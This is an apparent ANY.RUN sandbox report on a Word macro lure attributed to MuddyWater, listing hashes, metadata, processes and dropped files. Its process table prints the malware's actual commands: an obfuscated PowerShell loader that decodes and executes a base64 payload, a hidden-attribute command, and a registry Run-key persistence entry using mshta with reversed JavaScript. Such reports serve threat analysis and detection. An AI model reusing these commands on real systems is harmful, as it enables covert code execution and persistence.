analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b

Full analysis: https://app.any.run/tasks/9e465c46-911b-4b2f-82b5-0a896e1c87d3
Verdict: Malicious activity
Analysis date: February 11, 2019, 07:03:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Windows User, Template: Normal.dotm, Last Saved By: Windows User, Revision Number: 126, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:27:00, Create Time/Date: Sun Apr 22 19:20:00 2018, Last Saved Time/Date: Thu May 3 16:22:00 2018, Number of Pages: 1, Number of Words: 1, Number of Characters: 12, Security: 8
MD5:

FDB4B4520034BE269A65CFAEE555C52E

SHA1:

FE94BE7B44239BD1AFF24A436294031DD4A2D4C2

SHA256:

240B7D2825183226AF634D3801713B0E0F409EB3E1E48E1D36C96D2B03D8836B

SSDEEP:

6144:AjgH9Wf54/CnUGaWWN0fn4cyw8M3js3DcTQP2qrHUuibax71/xBoIf8/deaR8Tjn:AjW8atNXTDcTO23RY5JaI2EVa/Cr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • reg.exe (PID: 2328)

  • SUSPICIOUS

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 3876)

    • Starts CMD.EXE for commands execution

      • powershElL.exe (PID: 2924)

    • Uses ATTRIB.EXE to modify file attributes

      • powershElL.exe (PID: 2924)

    • Creates files in the user directory

      • powershElL.exe (PID: 2924)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2816)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2816)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 12
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: Locked for annotations
Characters: 12
Words: 1
Pages: 1
ModifyDate: 2018:05:03 15:22:00
CreateDate: 2018:04:22 18:20:00
TotalEditTime: 1.4 hours
Software: Microsoft Office Word
RevisionNumber: 126
LastModifiedBy: Windows User
Template: Normal.dotm
Comments: -
Keywords: -
Author: Windows User
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe no specs attrib.exe no specs cmd.exe no specs reg.exe

Process information

PID
CMD
Path
Indicators
Parent process
2816"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2924powershElL -EXEC bypASS -COmMaND "& {$pth='C:\Users\admin\AppData\Local\Temp\muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b.doc';$rt='';$Dt=geT-cOntEnt -patH $PTH -eNcoDInG aSCIi;FOrEach($I in $DT){iF ($I.Length -Gt 7700){$rt=$i.sPLIt('**')[2];BREak}};$rt=[syStEm.TExT.eNCODing]::asCII.gEtsTrIng([sysTEm.ConverT]::FROmbaSe64sTriNG($rT));IEX($RT);}"C:\Windows\System32\WindowsPowerShell\v1.0\powershElL.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2464"C:\Windows\system32\attrib.exe" +h +s C:\Users\admin\AppData\Roaming\Microsoft\CLRC:\Windows\system32\attrib.exe—powershElL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3876"C:\Windows\System32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /v "prbclr" /d "mshta \"javascript:x=\";)(esolc.wodniw;)eslaf,0,\\\"knl.exe.dnspr\\\\RLC\\\\tfosorciM\\\\gnimaoR\\\\ataDppA\\\\nimda\\\\sresU\\\\:C\\\"(nuR.llehs;)\\\"llehs.tpircsw\\\"(tcejbOXevitcA!wen=llehs\".replace('!',' ').split('').reverse().join('');eval(x);\""C:\Windows\System32\cmd.exe—powershElL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2328reg add hkcu\software\microsoft\windows\currentversion\run /v "prbclr" /d "mshta \"javascript:x=\";)(esolc.wodniw;)eslaf,0,\\\"knl.exe.dnspr\\\\RLC\\\\tfosorciM\\\\gnimaoR\\\\ataDppA\\\\nimda\\\\sresU\\\\:C\\\"(nuR.llehs;)\\\"llehs.tpircsw\\\"(tcejbOXevitcA!wen=llehs\".replace('!',' ').split('').reverse().join('');eval(x);\""C:\Windows\system32\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 439
Read events
982
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
8
Unknown types
5

Dropped files

PID
Process
Filename
Type
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR99B6.tmp.cvr —
MD5:—
SHA256:—
2924powershElL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N5L59MFF5GV52SJ80OB1.temp —
MD5:—
SHA256:—
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:D7047626970C282637B8AADC2CF05EBF
SHA256:9F6A4C8E95AE030FCCB8E576B43673F81E996D872A33E906D8D1A9F2E318DF2A
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b.docpgc
MD5:3079ED3E0756120559F00AD7BEE1BB23
SHA256:54F64EBAD26687A8CF41CA0D0208979A08310D7D3A6078B8E199107D17B32108
2924powershElL.exeC:\Users\admin\AppData\Roaming\Microsoft\CLR\shltext
MD5:5DC1E9D1098C8F7E3CFF28C47DBD43C5
SHA256:D1995B12EEA294256B8FA347841F57A69C08317D6B92A60CDC0DF72D877545F9
2924powershElL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a7ee.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2924powershElL.exeC:\Users\admin\AppData\Roaming\Microsoft\CLR\hsttext
MD5:9FD97AA450B60A207BD5A66E2EC9F21D
SHA256:F3A55126EEB6BD1927E32DF4045596C84E7780BC7DED53F5BB11442CC33E954E
2924powershElL.exeC:\Users\admin\AppData\Roaming\Microsoft\CLR\rprbtext
MD5:CC1C8025C21A6517DB9D1E3289F3FA1E
SHA256:CA3DF2E2E859D722B209D3AC632EFF3A815190A0F03401ACB0446BEB2A833FE8
2816WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:41379A924454D4DBF21EC8153C20C10F
SHA256:0C15CF2B44D7D8698623838B4214E135CD0F5B33F8FE0D860DBE04AB98A65B80
2924powershElL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
muddywaters lure 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b